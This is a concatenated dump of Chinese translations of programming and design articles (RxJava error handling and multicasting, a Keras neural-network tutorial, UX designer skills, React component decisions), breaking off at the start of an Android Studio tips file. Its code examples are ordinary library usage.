previous subscriptions .onErrorResumeNext(Observable.empty()); // <-- This will terminate upstream (ie. we will stop receiving text view changes after an error!) } ``` **使用 onErrorResumeNext 捕获** 使用该操作会修复下游序列,但是会结束上游序列因为已经发送了 `onError` 通知。所以,如果你连接的是一个发布通知的主题,`onError` 通知会结束主题。 如果你希望上游继续运行,可以在 `onErrorResumeNext` 操作中嵌套 `flatMap` 或 `switchMap` 操作。 ``` public Observable search(@NotNull EditText searchView) { return RxTextView.textChanges(searchView) // In production, share this text view observable, don't create a new one each time .map(CharSequence::toString) .debounce(500, TimeUnit.MILLISECONDS) // Avoid getting spammed with key stroke changes .filter(s -> s.length() > 1) // Only interested in queries of length greater than 1 .observeOn(workerScheduler) // Next set of operations will be network so switch to an IO Scheduler (or worker) .switchMap(query -> searchService.query(query) // Take the latest observable from upstream and unsubscribe from any previous subscriptions .onErrorResumeNext(Observable.empty()); // <-- This fixes the problem since the error is not seen by the upstream observable } ``` ### 5. 如何共享你的 Observable 有时你需要将 Observable 的输出共享给多个观察者。RxJava 提供了 `share` 和 `publish` 两种方式实现 Observable 发送事件的多播。 **Share** `share` 允许多个观察者连接到源 Observable。下面的例子中,共享的是 Observable 发送的 `MotionEvent` 事件。然后,我们创建了另外两个 Observable 分别过滤 `DOWN` 和 `UP` 触摸事件。`DOWN` 事件我们画红圈,`UP` 事件我们画篮圈。 ``` public void touchEventHandler(@NotNull View view) { final Observable motionEventObservable = RxView.touches(view).share(); // Capture down events final Observable downEventsObservable = motionEventObservable .filter(event -> event.getAction() == MotionEvent.ACTION_DOWN); // Capture up events final Observable upEventsObservable = motionEventObservable .filter(event -> event.getAction() == MotionEvent.ACTION_UP); // Show a red circle at the position where the down event ocurred subscriptions.add(downEventsObservable.subscribe(event -> view.showCircle(event.getX(), event.getY(), Color.RED))); // Show a blue circle at the position where the up event ocurred subscriptions.add(upEventsObservable.subscribe(event -> view.showCircle(event.getX(), event.getY(), Color.BLUE))); } ``` 然而,一旦有观察者订阅 Observable,Observable 就会开始发送事件。这样就会造成后续的订阅者会错过一个或多个触摸事件。 ![](https://cdn-images-1.medium.com/max/800/1*RLhTXNHt8GZxaYl1I0OVfw.gif) 在这个例子中,“蓝” 观察者错过了第一个事件。有些时候这没问题,但是如果你不能接受错过任何事件,那么你需要使用 `publish` 操作。 **Publish** 对 Observable 执行 `publish` 操作会将值转化为 ConnectedObservable。就像打开阀门一样。下面的例子和上面一样,需要注意的是我们现在使用的是 `publish` 操作。 ``` public void touchEventHandler(@NotNull View view) { final ConnectedObservable motionEventObservable = RxView.touches(view).publish(); // Capture down events final Observable downEventsObservable = motionEventObservable .filter(event -> event.getAction() == MotionEvent.ACTION_DOWN); // Capture up events final Observable upEventsObservable = motionEventObservable .filter(event -> event.getAction() == MotionEvent.ACTION_UP); // Show a red circle at the position where the down event ocurred subscriptions.add(downEventsObservable.subscribe(event -> view.showCircle(event.getX(), event.getY(), Color.RED))); // Show a blue circle at the position where the up event ocurred subscriptions.add(upEventsObservable.subscribe(event -> view.showCircle(event.getX(), event.getY(), Color.BLUE))); // Connect the source observable to begin emitting events subscriptions.add(motionEventObservable.connect()); } ``` 一旦必要的 Observables 订阅了源,你需要执行对源 ConnectedObservable 执行 `connect` 来开始发送事件。 ![](https://cdn-images-1.medium.com/max/800/1*ORD0JlGH_FIk3oRb64gvEQ.gif) 注意,一旦对源调用了 `connect` 方法,相同事件序列会分别发送给 “绿” 和 “蓝” 观察者。 ================================================ FILE: TODO/5-step-life-cycle-neural-network-models-keras.md ================================================ > * 原文地址:[5 Step Life-Cycle for Neural Network Models in Keras](https://machinelearningmastery.com/5-step-life-cycle-neural-network-models-keras/) > * 原文作者:[Jason Brownlee](https://machinelearningmastery.com/author/jasonb/) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/5-step-life-cycle-neural-network-models-keras.md](https://github.com/xitu/gold-miner/blob/master/TODO/5-step-life-cycle-neural-network-models-keras.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[CACppuccino](https://github.com/CACppuccino) # Keras 中构建神经网络的 5 个步骤 使用 Keras 创建、评价深度神经网络非常的便捷,不过你需要严格地遵循几个步骤来构建模型。 在本文中我们将一步步地探索在 Keras 中创建、训练、评价深度神经网络,并了解如何使用训练好的模型进行预测。 在阅读完本文后你将了解: * 如何在 Keras 中定义、编译、训练以及评价一个深度神经网络。 * 如何选择、使用默认的模型解决回归、分类预测问题。 * 如何使用 Keras 开发并运行你的第一个多层感知机网络。 * **2017 年 3 月更新**:将示例更新至 Keras 2.0.2 / TensorFlow 1.0.1 / Theano 0.9.0。 ![Keras 中构建神经网络的 5 个步骤](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2016/07/Deep-Learning-Neural-Network-Life-Cycle-in-Keras.jpg) 题图版权由 [Martin Stitchener](https://www.flickr.com/photos/dxhawk/6842278135/) 所有。 ## 综述 下面概括一下我们将要介绍的在 Keras 中构建神经网络模型的 5 个步骤。 1. 定义网络。 2. 编译网络。 3. 训练网络。 4. 评价网络。 5. 进行预测。 ![Keras 中构建神经网络的 5 个步骤](https://3qeqpr26caki16dnhd19sv6by6v-wpengine.netdna-ssl.com/wp-content/uploads/2016/07/5-Step-Life-Cycle-for-Neural-Network-Models-in-Keras.png) Keras 中构建神经网络的 5 个步骤 ## 想要了解更多使用 Python 进行深度学习的知识? 免费订阅 2 周,收取我的邮件,探索 MLP、CNN 以及 LSTM 吧!(附带样例代码) 现在点击注册还能得到免费的 PDF 版教程。 [点击这里开始你的小课程吧!](https://machinelearningmastery.leadpages.co/leadbox/142d6e873f72a2%3A164f8be4f346dc/5657382461898752/) ## 第一步:定义网络 首先要做的就是定义你的神经网络。 在 Keras 中,可以通过一系列的层来定义神经网络。这些层的容器就是 Sequential 类。(译注:序贯模型) 第一步要做的就是创建 Sequential 类的实例。然后你就可以按照层的连接顺序创建你所需要的网络层了。 例如,我们可以做如下两步: ``` model = Sequential() model.add(Dense(2)) ``` 此外,我们也可以通过创建一个层的数组,并将其传给 Sequential 构造器来定义模型。 ``` layers = [Dense(2)] model = Sequential(layers) ``` 网络的第一层必须要定义预期输入维数。指定这个参数的方式有许多种,取决于要建造的模型种类,不过在本文的多层感知机模型中我们将通过 `input_dim` 属性来指定它。 例如,我们要定义一个小型的多层感知机模型,这个模型在可见层中具有 2 个输入,在隐藏层中有 5 个神经元,在输出层中有 1 个神经元。这个模型可以定义如下: ``` model = Sequential() model.add(Dense(5, input_dim=2)) model.add(Dense(1)) ``` 你可以将这个序贯模型看成一个管道,从一头喂入数据,从另一头得到预测。 这种将通常互相连接的层分开,并作为单独的层加入模型是 Keras 中一个非常有用的概念,这样可以清晰地表明各层在数据从输入到输出的转换过程中起到的职责。例如,可以将用于将各个神经元中信号求和、转换的激活函数单独提取出来,并将这个 Activation 对象同层一样加入 Sequential 模型中。 ``` model = Sequential() model.add(Dense(5, input_dim=2)) model.add(Activation('relu')) model.add(Dense(1)) model.add(Activation('sigmoid')) ``` 输出层激活函数的选择尤为重要,它决定了预测值的格式。 例如,以下是一些常用的预测建模问题类型,以及它们可以在输出层使用的结构和标准的激活函数: * **回归问题**:使用线性的激活函数 “linear”,并使用与与输出数量相匹配的神经元数量。 * **二分类问题**:使用逻辑激活函数 “sigmoid”,在输出层仅设一个神经元。 * **多分类问题**:使用 Softmax 激活函数 “softmax”;假如你使用的是 one-hot 编码的输出格式的话,那么每个输出对应一个神经元。 ## 第二步:编译网络 当我们定义好网络之后,必须要对它进行编译。 编译是一个高效的步骤。它会将我们定义的层序列通过一系列高效的矩阵转换,根据 Keras 的配置转换成能在 GPU 或 CPU 上执行的格式。 你可以将编译过程看成是对你网络的预计算。 无论是要使用优化器方案进行训练,还是从保存的文件中加载一组预训练权重,只要是在定义模型之后都需要编译,因为编译步骤会将你的网络转换为适用于你的硬件的高效结构。此外,进行预测也是如此。 编译步骤需要专门针对你的网络的训练设定一些参数,设定训练网络使用的优化算法 以及用于评价网络通过优化算法最小化结果的损失函数尤为重要。 下面的例子对定义好的用于回归问题的模型进行编译时,指定了随机梯度下降(sgd)优化算法,以及均方差(mse)算是函数。 ``` model.compile(optimizer='sgd', loss='mse') ``` 预测建模问题的种类也会限制可以使用的损失函数类型。 例如,下面是几种不同的预测建模类型对应的标准损失函数: * **回归问题**:均方差误差 “_mse_”。 * **二分类问题**:对数损失(也称为交叉熵)“_binary_crossentropy_”。 * **多分类问题**:多类对数损失 “_categorical_crossentropy_”。 你可以查阅 [Keras 支持的损失函数](http://keras.io/objectives/)。 最常用的优化算法是随机梯度下降,不过 Keras 也支持[其它的一些优化算法](http://keras.io/optimizers/)。 以下几种优化算法可能是最常用的优化算法,因为它们的性能一般都很好: * **随机梯度下降** “_sgd_” 需要对学习率以及动量参数进行调参。 * **ADAM** “_adam_” 需要对学习率进行调参。 * **RMSprop** “_rmsprop_” 需要对学习率进行调参。 最后,你还可以指定在训练模型过程中除了损失函数值之外的特定指标。一般对于分类问题来说,最常收集的指标就是准确率。需要收集的指标由设定数组中的名称决定。 例如: ``` model.compile(optimizer='sgd', loss='mse', metrics=['accuracy']) ``` ## 第三步:训练网络 在网络编译完成后,就能对它进行训练了。这个过程也可以看成是调整权重以拟合训练数据集。 训练网络需要制定训练数据,包括输入矩阵 X 以及相对应的输出 y。 在此步骤,将使用反向传播算法对网络进行训练,并使用在编译时制定的优化算法以及损失函数来进行优化。 反向传播算法需要指定训练的 Epoch(回合数、历元数)、对数据集的 exposure 数。 每个 epoch 都可以被划分成多组数据输入输出对,它们也称为 batch(批次大小)。batch 设定的数字将会定义在每个 epoch 中更新权重之前输入输出对的数量。这种做法也是一种优化效率的方式,可以确保不会同时加载过多的输入输出对到内存(显存)中。 以下是一个最简单的训练网络的例子: ``` model.compile(optimizer='sgd', loss='mse', metrics=['accuracy']) ``` 在训练网络之后,会返回一个历史对象(History oject),其中包括了模型在训练中各项性能的摘要(包括每轮的损失函数值及在编译时制定收集的指标)。 ## 第四步:评价网络 在网络训练完毕之后,就可以对其进行评价。 可以使用训练集的数据对网络进行评价,但这种做法得到的指标对于将网络进行预测并没有什么用。因为在训练时网络已经“看”到了这些数据。 因此我们可以使用之前没有“看”到的额外数据集来评估网络性能。这将提供网络在未来对没有见过的数据进行预测的性能时的估测。 评价模型将会评价所有测试集中的输入输出对的损失值,以及在模型编译时指定的其它指标(例如分类准确率)。本步骤将返回一组评价指标结果。 例如,一个在编译时使用准确率作为指标的模型可以在新数据集上进行评价,如下所示: ``` loss, accuracy = model.evaluate(X, y) ``` ## 第五步:进行预测 最后,如果我们对训练后的模型的性能满意的话,就能用它来对新的数据做预测了。 这一步非常简单,直接在模型上调用 predict() 函数,传入一组新的输入即可。 例如: ``` predictions = model.predict(x) ``` 预测值将以网络输出层定义的格式返回。 在回归问题中,这些由线性激活函数得到的预测值可能直接就符合问题需要的格式。 对于二分类问题,预测值可能是一组概率值,这些概率说明了数据分到第一类的可能性。可以通过四舍五入(K.round)将这些概率值转换成 0 与 1。 而对于多分类问题,得到的结果可能也是一组概率值(假设输出变量用的是 one-hot 编码方式),因此它还需要用 [argmax 函数](http://docs.scipy.org/doc/numpy/reference/generated/numpy.argmax.html)将这些概率数组转换为所需要的单一类输出。 ## End-to-End Worked Example 让我们用一个小例子将以上的所有内容结合起来。 我们将以 Pima Indians 糖尿病发病二分类问题为例。你可以在 [UCI 机器学习仓库](https://archive.ics.uci.edu/ml/datasets/Pima+Indians+Diabetes)中下载此数据集。 该问题有 8 个输入变量,需要输出 0 或 1 的分类值。 我们将构建一个包含 8 个输入的可见层、12 个神经元的隐藏层、rectifier 激活函数、1 个神经元的输出层、sigmoid 激活函数的多层感知机神经网络。 我们将对网络进行 100 epoch 次训练,batch 大小设为 10,使用 ADAM 优化算法以及对数损失函数。 在训练之后,我们使用训练数据对模型进行评价,然后使用训练数据对模型进行单独的预测。这么做是为了方便起见,一般来说我们都会使用额外的测试数据集进行评价,用新的数据进行预测。 完整代码如下: ``` # Keras 多层感知机神经网络样例 from keras.models import Sequential from keras.layers import Dense import numpy # 加载数据 dataset = numpy.loadtxt("pima-indians-diabetes.csv", delimiter=",") X = dataset[:,0:8] Y = dataset[:,8] # 1. 定义网络 model = Sequential() model.add(Dense(12, input_dim=8, activation='relu')) model.add(Dense(1, activation='sigmoid')) # 2. 编译网络 model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy']) # 3. 训练网络 history = model.fit(X, Y, epochs=100, batch_size=10) # 4. 评价网络 loss, accuracy = model.evaluate(X, Y) print("\nLoss: %.2f, Accuracy: %.2f%%" % (loss, accuracy*100)) # 5. 进行预测 probabilities = model.predict(X) predictions = [float(round(x)) for x in probabilities] accuracy = numpy.mean(predictions == Y) print("Prediction Accuracy: %.2f%%" % (accuracy*100)) ``` 运行样例,会得到以下输出: ``` ... 768/768 [==============================] - 0s - loss: 0.5219 - acc: 0.7591 Epoch 99/100 768/768 [==============================] - 0s - loss: 0.5250 - acc: 0.7474 Epoch 100/100 768/768 [==============================] - 0s - loss: 0.5416 - acc: 0.7331 32/768 [>.............................] - ETA: 0s Loss: 0.51, Accuracy: 74.87% Prediction Accuracy: 74.87% ``` ## 总结 在本文中,我们探索了使用 Keras 库进行深度学习时构建神经网络的 5 个步骤。 此外,你还学到了: * 如何在 Keras 中定义、编译、训练以及评价一个深度神经网络。 * 如何选择、使用默认的模型解决回归、分类预测问题。 * 如何使用 Keras 开发并运行你的第一个多层感知机网络。 你对 Keras 的神经网络模型还有别的问题吗?或者你对本文还有什么建议吗?请在评论中留言,我会尽力回答。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/6-practical-skills-for-ux-designers.md ================================================ > * 原文地址:[6 Practical Skills for UX Designers](https://uxdesign.cc/6-practical-skills-for-ux-designers-22c852d6c576#.vjeb02dwq) * 原文作者:[Joanna Ngai](https://uxdesign.cc/@ngai.yt) * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) * 译者:[Kulbear](https://kulbear.github.io/) * 校对者:[owenlyn](https://github.com/owenlyn), [shixinzhang](https://github.com/shixinzhang) # 给 UX 设计师的 6 个超实用技巧指南 ![](http://ac-Myg6wSTV.clouddn.com/2cc6a114bae9326ef2b0.png) #### 一些关于怎么变革产品、服务和流程的开发方式的想法 ![](http://ac-Myg6wSTV.clouddn.com/66ff18b264d2c507aebe.png) 我们都同意[中高级设计师和初级设计师处理问题的方法有着显著区别](https://medium.com/the-year-of-the-looking-glass/junior-designers-vs-senior-designers-fbe483d3b51e#.4a2tc78vd),到底是什么东西使我们能区分开新人和久经沙场的老设计师们呢? 接下来是一些在你从事设计师的这条漫长旅途上需要磨砺的一些实用技能。 ### 1. 从长远的角度看你的设计方案 如我[之前](https://blog.prototypr.io/essential-lessons-on-ux-18f96933e885#.mjgjp0osb)所提及的,设计师们需要站在一定高度上观察、理解复杂的问题,避免过早被细节困扰。 > 我的一位导师提过,设计师们做的不仅仅是引导用户去点击一个按钮或是完成一个小任务。用户体验设计师必须从长远角度看待设计问题,并拥有一个**站在"10000 英尺以上高度” 的思维方式**。 > 也就是需要在用户交互的这个系统中考虑以前的想法,态度,竞争对手和其他工具。 在你设计的时候,要从全局考虑用户所处的环境,而不是考虑某个特定的情况;避免出现不顾及你设计内容的上下文状态,横冲直撞的设计。 ### 2. 专注于核心问题(Issue) 专注于核心问题的能力是设计师成功解决困难问题的保证。 老练的用户体验设计师即使在遇到未解决的问题(大型的或抽象的)也可以轻松的完成整个项目。 他们可以建立一些假设,根据自己最初的想法收集一些数据从而将口头上的想法通过设计和提炼转换为可见的概念。 ![](http://ac-Myg6wSTV.clouddn.com/0178730cb78f19188ad0.jpeg) ### 3. 以人为本 及时对用户关注点的反馈提问。 世界那么大,你得去看看。走到外面去多观察,理解并明确的将以用户为中心的设计理念应用到设计中,这是对于设计师是十分重要的。 你要问自己这些问题:现在的问题是什么?我的目标用户是谁?我们为什么要解决这个问题?他们的目标是什么? 所有的这些功夫都不会白费——在最终交付产品的时候这些都会成为产品的核心价值。 ![](http://ac-Myg6wSTV.clouddn.com/a81a5f7c1d87b447e8a1.jpeg) ### 4. 用设计思维影响(我个人觉得引导更好)你的同事 优秀的用户体验设计师往往也是沟通的专家——无论是从口头上(为设计或非设计人员讲述故事、阐述概念等等)或是从视觉上(略图,草稿,模拟图)。 他们能在避免不必要的争论的同时将自己的要点阐述清楚,给大家呈现新鲜的观点(灵感)。 ![](http://ac-Myg6wSTV.clouddn.com/8c47d6b213139f3b9299.jpeg) ![](http://ac-Myg6wSTV.clouddn.com/757f7956c7472be3245d.jpeg) ### 5. 不断观察与学习 设计是一个快速更迭的领域。你要随着科技快速增长的脚步持续学习新事物,使自己成长,让自己保持在潮流的前端。 - [Seth 的博客](http://sethgodin.typepad.com/) — *一些有趣的商业 idea* - [Creative Mornings](https://creativemornings.com/) — *一些来自一个富有创造力的社区的早餐读物* - [LukeW](http://www.lukew.com/ff/) — *Web 的实用和美工设计策略* - [24 个最佳的用户体验设计学习去处](https://uxdesign.cc/learning-as-a-designer-9c1edcc989ae#.b4y792xhx) - [2016 年最佳用户体验设计](https://blog.prototypr.io/best-of-ux-links-of-2016-eb2f44a2c9c0#.w0fl1cq76) #### 持续学习、成长的思维是需要终生培养的。 ### 6. 勇气(决心) ![](http://ac-Myg6wSTV.clouddn.com/f3a09e7bfde081d96716.png) Angela Lee Duckworth > 决心是长远目标的激情与持之以恒的源头。它是拥有着毅力。它和你的未来紧密相关,日复一日,直至数年,而非一周一月的功劳。它能实现你对未来的宏愿。它不是百米冲刺跑,而是一场生活中漫长的马拉松。 > —* Angela Lee Duckworth, TED 演讲者, Grit: The power of passion and perseverance* 尽管所谓决心看起来和设计毫无关联,但我相信这是具有创新思维的人最实际的特点。 决心使你可以迈过失败。它的动力并非来自于燃烧你的激情,而是你的刻苦与努力。 ![](http://ac-Myg6wSTV.clouddn.com/86448993741a25056617.jpeg) Ji lee — Words As Image ![](http://ac-Myg6wSTV.clouddn.com/3ed1526bbd427508ad81.png) Ji lee — Words As Image 对于设计师们来说,这看起来像是习惯或是一些[辅助项目](http://pleaseenjoy.com/projects/personal/bubble-project/),或是超越基本要求的探索。这是对未来前景的乐观思考。 #### 对我来说,最有价值的技能就是从失败中学习。 — *感谢您的阅读,如果想浏览更多我的作品,请参考 [*design work*](http://www.cargocollective.com/joannan) 。* ================================================ FILE: TODO/8-key-react-component-decisions.md ================================================ > * 原文地址:[8 Key React Component Decisions: Standardize your React development with these key decisions](https://medium.freecodecamp.org/8-key-react-component-decisions-cc965db11594) > * 原文作者:[Cory House](https://medium.freecodecamp.org/@housecor?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/8-key-react-component-decisions.md](https://github.com/xitu/gold-miner/blob/master/TODO/8-key-react-component-decisions.md) > * 译者:[undead25](https://github.com/undead25) > * 校对者:[Tina92](https://github.com/Tina92)、[vuuihc](https://github.com/vuuihc) # React 组件的 8 个关键决策 ## 通过这些关键决策来标准化你的 React 开发 ![选择困难症](https://cdn-images-1.medium.com/max/1000/1*XgHYXVXoyziBKd7Or5IliQ.jpeg) React 自 2013 年被开源以来,一直在迭代更新。当你在网上搜索相关信息时,可能会被一些使用了过时的方法的文章坑到。所以,现在在写 React 组件时,你的团队需要作出以下八个关键决策。 ### 决策 1:开发环境 在编写第一个组件之前,你的团队需要就开发环境达成一致。太多选择了…… ![](https://i.loli.net/2017/10/17/59e5d90a25a0a.jpg) 当然,你可以[从头开始构建 JS 开发环境](https://www.pluralsight.com/courses/javascript-development-environment),有 25% 的 React 开发者是这么做的。我目前的团队使用的是 create-react-app 的 fork,并拓展了一些功能,例如[支持 CRUD 的 mock API](https://medium.freecodecamp.org/rapid-development-via-mock-apis-e559087be066)、[可复用的组件库](https://www.pluralsight.com/courses/react-creating-reusable-components)和增强的代码检测功能(我们会检测 create-react-app 忽略了的测试文件)。我是喜欢 create-react-app 的,但[这个工具可以帮助你比较许多不错的替代方案](http://andrewhfarmer.com/starter-project/)。想在服务端进行渲染?可以了解下 [Gatsby](http://gatsbyjs.org) 或者 [Next.js](https://github.com/zeit/next.js/)。你甚至可以考虑使用在线编辑器,例如 [CodeSandbox](https://codesandbox.io)。 ### 决策 2:类型检测 你可以忽略类型,也可以使用 [prop-types](https://reactjs.org/docs/typechecking-with-proptypes.html)、[Flow](https://flow.org) 或者 [TypeScript](https://www.typescriptlang.org)。需要注意的是,在 React 15.5 中,prop-types 被提取到了[单独的库](https://www.npmjs.com/package/prop-types),因此按照较老的文章进行导入会报警告(React 16 会报错)。 社区在这个话题上依然存在着分歧: ![](https://i.loli.net/2017/10/17/59e5da85a81b6.jpg) 我更倾向于 prop-types,因为我发现它在 React 组件中提供了足够的类型安全性,几乎没有任何阻碍。使用 Babel、[Jest](https://facebook.github.io/jest/)、[ESLint](http://www.eslint.org) 和 prop-types 的组合,我很少看到运行时的类型问题。 ### 决策 3:createClass 和 ES 类 React.createClass 是原始 API,但在 15.5 中已被弃用。有点感觉[我们将枪头指向了 ES 类](https://medium.com/dailyjs/we-jumped-the-gun-moving-react-components-to-es2015-class-syntax-2b2bb6f35cb3)。不管怎样,createClass 已经从 React 的核心中移除,并被[归类到 React 官方文档中一个名为“React without ES6”的页面](https://reactjs.org/docs/react-without-es6.html)。所以很清楚的是:ES 类是趋势。你可以使用 [react-codemod](https://github.com/reactjs/react-codemod) 轻松地从 createClass 转换为 ES 类。 ### 决策 4:类和函数 你可以通过类或函数来声明 React 组件。当你需要 refs 或者生命周期方法时,类很有用。这里有[尽可能考虑使用函数的 9 个理由](https://hackernoon.com/react-stateless-functional-components-nine-wins-you-might-have-overlooked-997b0d933dbc)。但值得注意的是,[函数组件有一些缺点](https://medium.freecodecamp.org/7-reasons-to-outlaw-reacts-functional-components-ff5b5ae09b7c)。 ### 决策 5:状态 使用普通的 React 组件状态足以满足大多数场景。[状态提升](https://reactjs.org/docs/lifting-state-up.html)可以很好地解决状态共享的问题。或者,你也可以使用 Redux 或 MobX: ![](https://i.loli.net/2017/10/17/59e5daca05632.jpg) [我是 Redux 的粉丝](https://www.pluralsight.com/courses/react-redux-react-router-es6),但我经常使用普通的 React 状态,因为它更简单。就目前来看,我们已经上线了十几个 React 应用程序,其中的两个是值得使用 Redux 的。我更喜欢多个小型的、自治的应用程序而不是单个的大型的应用程序。 如果你对不可变状态感兴趣,这里有一篇相关的文章,提到了至少有 [4 种方式来保持状态不可变](https://medium.com/@housecor/handling-state-in-react-four-immutable-approaches-to-consider-d1f5c00249d5)。 ### Decision 6: 绑定 在 React 组件中,至少有[半打方式可以处理绑定](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)。这主要是因为现代 JS 提供了很多方法来处理绑定。你可以在构造函数中绑定,在 render 中绑定,在 render 中使用箭头函数,使用类属性或者装饰器。[这篇文章的评论](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)里有更多的选择!每种方式都有其优点,但假设你觉得实验性功能还不错,[我建议默认使用类属性(也叫属性初始值)](https://medium.freecodecamp.org/react-binding-patterns-5-approaches-for-handling-this-92c651b5af56)。 这个投票是从 2016 年 8 月开始的。从那时起,类属性越来越受欢迎,而 createClass 的欢迎程度则逐步降低。 ![](https://i.loli.net/2017/10/17/59e5daf6be182.jpg) **附注**:许多人对于为什么在 render 中使用箭头函数和绑定可能存在问题而感到困惑。真正的原因是因为[它使 shouldComponentUpdate 和 PureComponent 变得古怪](https://medium.freecodecamp.org/why-arrow-functions-and-bind-in-reacts-render-are-problematic-f1c08b060e36)。 ### 决策 7:样式 这里的选择变得非常多,有 50 多种方式来写组件的样式,包括 React 的内联样式、传统的 CSS、Sass/Less、[CSS Modules](https://github.com/css-modules/css-modules) 和 [56 个 CSS-in-JS 选项](https://github.com/MicheleBertoli/css-in-js)。不开玩笑,我在这个[样式模块化课程](https://www.pluralsight.com/courses/react-creating-reusable-components)中详细探索了 React 的样式,下面是总结: ![](https://cdn-images-1.medium.com/max/1000/1*5Q3FXqxI6akM-GWV2rqlcw.png) 红色代表不支持,绿色代表支持,灰色代表警告。 看看为什么在 React 的样式选择中有这么多的分歧?没有明确的赢家。 ![](https://cdn-images-1.medium.com/max/800/1*_K-z-ZfTXNFwyedAXrS5sA.png) 看起来 CSS-in-JS 正在蒸蒸日上,而 CSS modules 正在每况愈下。 我目前的团队使用 Sass 和 BEM,并乐在其中,但我也喜欢[样式组件](https://www.styled-components.com)。 ### 决策 8:逻辑复用 React 最初采用 [mixins](https://reactjs.org/docs/react-without-es6.html#mixins) 作为组件之间共享代码的机制。但是 mixins 有问题,[现在被认为是有害的](https://reactjs.org/blog/2016/07/13/mixins-considered-harmful.html)。你不能在 ES 类组件中使用 mixins,所以现在我们[使用高阶组件](https://reactjs.org/docs/higher-order-components.html)和[渲染属性](https//cdb.reacttraining.com/use-a-render-prop-50de598f11ce)(也叫子函数)在组件之间共享代码。 ![](https://i.loli.net/2017/10/17/59e5db5a8f656.jpg) 高阶组件目前更受欢迎,但我更喜欢渲染属性,因为它们通常更易于阅读和创建。 [YouTube 视频](https://youtu.be/BcVAq3YFiuc) ### 其他决策 还有一些其他的决策: * 你使用 [.js 还是 .jsx 拓展名](https://github.com/facebookincubator/create-react-app/issues/87#issuecomment-234627904)? * 你会将[每个组件放在其自己的文件夹中](https://medium.com/styled-components/component-folder-pattern-ee42df37ec68)吗? * 你会要求每个组件即一个文件吗?你会[在每个目录写一个 index.js 文件来让别人感到抓狂吗](https://hackernoon.com/the-100-correct-way-to-structure-a-react-app-or-why-theres-no-such-thing-3ede534ef1ed)? * 如果使用 propTypes,你会在底部声明它们,还是在其自身的类里使用[静态属性](https://michalzalecki.com/react-components-and-class-properties/#static-fields)?你会[尽可能深地声明 propTypes](https://iamakulov.com/notes/deep-proptypes/?utm_content=buffer57abf&utm_medium=social&utm_source=twitter.com&utm_campaign=buffer) 吗? * 你会传统地在构造函数中初始化状态,还是使用[属性初始化语法](http://stackoverflow.com/questions/35662932/react-constructor-es6-vs-es7)? 由于 React 大多是 JavaScript,所以你需要进行许多 JS 开发风格的决策,例如[分号](https://eslint.org/docs/rules/semi)、[尾随逗号](https://eslint.org/docs/rules/comma-dangle)、[格式化](https://github.com/prettier/prettier)以及[事件处理的命名](https://jaketrent.com/post/naming-event-handlers-react/)。 ### 选择一个标准,然后自动化执行 所有的这一切,今天你可能会看到很多组合。 所以,下面这几步是关键: > 1. 和你的团队讨论这些决策并把你们的标准写成文档。 > 2. 不要浪费时间在代码审查中手动检查不一致。要求你的团队都使用像 [ESLint](https://eslint.org)、[eslint-plugin-react](https://github.com/yannickcr/eslint-plugin-react) 和 [prettier](https://github.com/prettier/prettier) 这些工具。 > 3. 需要重构现有的 React 组件?使用 [react-codemod](https://github.com/reactjs/react-codemod) 来自动化该过程。 如果我忽略了其它的关键决策,请在评论中提出。 ### 想了解更多关于 React 的信息?⚛️ 我在 Pluralsight([免费试用](http://bit.ly/pstrialimmutablepost))上写了[很多 React 和 JavaScript 课程](http://bit.ly/psauthorpageimmutablepost)。 [![](https://cdn-images-1.medium.com/max/800/1*BkPc3o2d2bz0YEO7z5C2JQ.png)](https://www.pluralsight.com/authors/cory-house) * * * [Cory House](https://twitter.com/housecor) 是 [Pluralsight 上许多 JavaScript、React、代码整洁之道和 .NET 课程](http://pluralsight.com/author/cory-house)的作者。他是 [reactjsconsulting.com](http://www.reactjsconsulting.com) 的首席顾问、VinSolutions 的软件架构师、Microsoft 的最有价值专家,并且在国际上培训软件开发人员的软件实践,例如前端开发和代码整洁之道。Cory 在 Twitter 上 [@housecor](http://www.twitter.com/housecor) 发布了很多关于 JavaScript 和前端开发的推文。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/Android-Studio-Tips.md ================================================ > * 原文链接: [Android Studio Tips by Philippe Breault](https://github.com/pavlospt/Android-Studio-Tips-by-Philippe-Breault/wiki) * 原文作者 : [Philippe Breault](https://github.com/pavlospt) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : [Jaeger](https://github.com/laobie), [Brucezz](https://github.com/brucezz) * 校对者 :[Glow Chiang](https://github.com/Glowin), [Void 